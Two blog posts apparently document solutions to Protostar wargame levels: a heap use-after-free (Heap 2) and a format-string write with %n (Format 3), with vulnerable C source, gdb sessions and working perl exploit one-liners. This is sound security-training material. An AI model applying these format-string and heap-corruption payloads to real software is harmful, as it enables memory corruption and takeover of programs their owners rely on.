Friday 9 June 2017

Exploit Exercises - Protostar Heap 2

The heap2 challenge was a bit different as I had never done heap exploitation before. The challenge exploits one of the famous memory vulnerablilties use-after-free. Our goal is to get the string "you have logged in already" printed.

Lets start by understanding the code:

  
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>

    struct auth {
      char name[32];
      int auth;
    };

    struct auth *auth;
    char *service;

    int main(int argc, char **argv)
    {
      char line[128];

      while(1) {
          printf("[ auth = %p, service = %p ]\n", auth, service);

          if(fgets(line, sizeof(line), stdin) == NULL) break;
      
          if(strncmp(line, "auth ", 5) == 0) {
              auth = malloc(sizeof(auth));
              memset(auth, 0, sizeof(auth));
              if(strlen(line + 5) < 31) {
                  strcpy(auth->name, line + 5);
              }
          }
          if(strncmp(line, "reset", 5) == 0) {
              free(auth);
          }
          if(strncmp(line, "service", 6) == 0) {
              service = strdup(line + 7);
          }
          if(strncmp(line, "login", 5) == 0) {
              if(auth->auth) {
                  printf("you have logged in already!\n");
              } else {
                  printf("please enter your password\n");
              }
          }
      }
    }



The code uses safe fget() function and checks the size of the string using strlen() function before using strcpy(). If the code is using all of the safe functions, how are we going to expolit it? Well from the previous challenge we have learned that the value of the stored variable can be changed.

If we have a look at the above defined struct

    struct auth {
      char name[32];
      int auth;
    };
 
 
it does an allocation of 36(32 + 4) bytes when we do a pointer initialization (
struct auth *auth). 


strncmp() function compares the input from stdin and perform some action. When we input auth, it calls malloc() to allocate a size of auth bytes and zero out using memset(). Lets load the executable into gdb and set a breakpoint before malloc().

   ➜ protostar gdb -q heap2
   Reading symbols from heap2...(no debugging symbols found)...done.
   gdb-peda$ break *0x08048659
   Breakpoint 1 at 0x8048659
   gdb-peda$ r
   [------------------------------code------------------------------]
   0x8048657 <main>: jne 0x80486b6 <main>
   0x8048659 <main>: sub esp,0xc
   0x804865c <main>: push 0x4
   => 0x804865e <main>: call 0x8048480 <malloc@plt>
   0x8048663 <main>: add esp,0x10
   0x8048666 <main>: mov ds:0x804a048,eax
   0x804866b <main>: mov eax,ds:0x804a048
   0x8048670 <main>: sub esp,0x4
   Guessed arguments:
   arg[0]: 0x4

 
We see that the argument to malloc() is passed as 4, opposed to 36. Something is wrong here! Acutally the program calculates the size of the variable auth insted of struct auth which is 4 bytes. Okay, lets keep this in mind and move futher.

The reset command frees the auth variable. The login command checks the value of auth variable and if it is set other than 0, then we get our flag. And at last there is service command, which calls strdup() function.

By looking at the man page of strdup it tells us that -

The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3). 
 
So, lets try to see where memory gets allocated after we call strdup -

   ➜ protostar ./heap2
   [ auth = (nil), service = (nil) ]
   auth
   [ auth = 0x804b818, service = (nil) ]
   service
   [ auth = 0x804b818, service = 0x804b828 ] 



On first auth command, memory gets allocated at 0x804b818 and after that we invoke service command which return a pointer to memory at 0x804b828. Lets look at the disassembly where the condition if (auth->auth) gets checked.

   [------------------------------code------------------------------]
   0x8048734 <main>: test eax,eax
   0x8048736 <main>: jne 0x80485fa <main>
   0x804873c <main>: mov eax,ds:0x804a048
   => 0x8048741 <main>: mov eax,DWORD PTR [eax+0x20]

   0x8048744 <main>: test eax,eax
   0x8048746 <main>: je 0x804875d

   0x8048748 <main>: sub esp,0xc
   0x804874b <main>: push 0x8048837 



The address of auth first gets loaded into EAX register, which is 0x804b818 in this case and then the value of auth variable is calculated by [EAX+0x20] i.e., 0x804b818 + 32, which is true as the auth starts at 32th byte which is the address 0x804b838. This is where the magic of service command happens. If we run the auth command once and run service command twice, then we will be able to write at the location 0x804b838.

Lets try to run the executable again outside of gdb -


   ➜ protostar ./heap2
   [ auth = (nil), service = (nil) ]
   auth
   [ auth = 0x804b818, service = (nil) ]
   service
   [ auth = 0x804b818, service = 0x804b828 ]
   service
   [ auth = 0x804b818, service = 0x804b838 ]
   login
   you have logged in already!
   [ auth = 0x804b818, service = 0x804b838 ] 



At last we get our flags! :)

Sunday 4 June 2017

Exploit Exercises - Protostar Format 3

So recently I have been more into system security stuff, as it is one of my favourite topics. System security involves finding vulnerabilities and fixing them but for learning purposes we first have to exploit them. There are a number of labs or wargames available on the internet and one of them is from Exploit Exercises. These exercises teach you from buffer overflow exploitation to format strings and heap exploitation.

At this moment we will be going through how format string bug can be used to manupulate the stack. First few exercises of Format Strings were fairly simple. In Format3, you are supposed to change the value of the target variable to get the text you have modified the target :) printed.

The code is as follows:
  
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
} 
 

As you can see the above code is not vulnerable to buffer overflow as it uses fgets() function which calculates the size of the buffer before copying it into the buffer, but there is surely a mistake in the printbuffer() function. We can read arbitary memory stored on the stack if we give format strings as an input to it.

Lets now look at what is meant by arbitary memory read. If we give string as an argument we recieve back the same string and our target variable is not changed.


   ➜ protostar ./format3
   AAA
   AAA
   target is 00000000 :(
   ➜ protostar




What if we now supply a format string as an argument? Well just check it.


   ➜ protostar ./format3
   %x %x %x %x
   f7fedab0 f7e396eb 0 1
   target is 00000000 :(
   ➜ protostar




What could be these values? Lets just open format3 in GDB and place a breakpoint at printbuffer() function.


   ➜ protostar gdb -q format3
   Reading symbols from format3...done.
   gdb-peda$ break printbuffer
   Breakpoint 1 at 0x80484a1: file format3.c, line 10.


Lets have a look what the stack looks right now.


   gdb-peda$ x/32xw $esp
   0xffffcd14: 0xf7fedab0 0xf7e396eb 0x00000000 0x00000001
   0xffffcd24: 0xf7f95000 0xffffcf48 0x080484e7 0xffffcd40
   0xffffcd34: 0x00000200 0xf7f95580 0xf7fef8dc 0x25207825
   0xffffcd44: 0x78252078 0x0a782520 0xf7fef900 0x00000070
   0xffffcd54: 0xf7fd32e8 0xf7ffcfc4 0xf7fe1d20 0xf7fd7241
   0xffffcd64: 0xf7f3edb8 0x00000001 0xf7fe46d4 0xf7ffdab0
   0xffffcd74: 0xf7fd38d0 0x00000004 0x03ae75f6 0xf7fe3db7
   0xffffcd84: 0x00000000 0xf7fe1bf9 0xf7fd7128 0x00000007
   gdb-peda$


Now lets just continue the execution of the program.


   gdb-peda$ c
   Continuing.
   f7fedab0 f7e396eb 0 1
   target is 00000000 :(
   [Inferior 1 (process 10704) exited normally]
   Warning: not running or target is remote
   gdb-peda$


And indeed we can see that the first 4 values from the stack gets printed out to stdout. Now, what we have to do in this exercise it to change the value of the target variable. First task would be to get the address of target variable. This can be done with objdump -t format3 | grep target


   ➜ protostar objdump -t format3 | grep target
   0804a048 g O .bss 00000004 target


Now lets blindly try to input a dozen of %x with a few number of A's infront of it. I will use perl one-liner with the option -e.

   ➜ protostar echo AAAA`perl -e 'print "%x."x15'` | ./format3
  AAAAf7fedab0.f7e396eb.0.1.f7f95000.ffffcf88.80484e7.ffffcd80.200.f7f95580.f7fef8dc.41414141.252e7825.78252e78.2e78252e.
   target is 00000000 :(
   ➜ protostar


We can the see the 4 A's that we gave as an input as 41414141. What if we replace the A's with the address of the target variable. Remember that the address will be written in the little endian format.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x."x12'` | ./format3
   Hf7fedab0.f7e396eb.0.1.f7f95000.ffffcf88.80484e7.ffffcd80.200.f7f95580.f7fef8dc.804a048.
   target is 00000000 :(
   ➜ protostar


By looking at the printf() man page, it tells us that the %n format specifier can be used to the number of characters written so far to the address used as an argument. Since the target variable address is at the top, what if we replace the last %x with %n?


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580f7fef8dc
   target is 00000048 :(
   ➜ protostar


Look, we have just changed the value of the variable. Please pay attention here, since we are overwriting 2 bytes at a time starting from the least significant bit we cannot subtract any number to accomplish "44" from "48". The only thing we can do is doing an addition. You can calculate the value using a calculator. We count from 0x48 to 0xff and then add 0x44 to it. I was able to get the value by some by some trial and error.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580
   target is 00000144 :(
   ➜ protostar


Similarly, we have to change the next 2 bytes. I read some good papers (SCUT) and found a way out. You have to append some JUNK data and probably some padding of A's to identify the next location and everything would follow in the similar fashion.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAA" . "\x49\xa0\x04\x08" . "%x"x11'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAI7825782578257825782578257825782578257825303632254a6e2578414b4e554141414149414141250804a0
   target is 00000144 :(


As you can see I got the next address at the top. Lets just write to that address.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e554141414141414141
   target is 0001a544 :(


Here we are getting "a5" as the next 2 bytes, that's roughly 90 bytes difference from "a5" to "ff" and adding "55" to it so, that would be 175 bytes and adding a few more bytes we get the desired value. 


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%184x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e554141414141414141
   target is 00025544 :(


Writing next 2 bytes is left as an exercise to the reader. At the end you would get the memory overwritten message.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%184x%n" . "JUNKAAAAAAAAAAA" . "\x4a\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%82x%n" . "JUNKAAAAAAAA" . "\x4b\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%175x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e5541414141 41414141JUNKAAAAAAAAAAAJ7825782578257825782578257825782531257825257834384e554a6e4141414b41414141 41414141JUNKAAAAAAAAK78257825782578257825782578257825382578256e2578324b4e554a41414141 41414141
   you have modified the target :)


This is Awesome! :)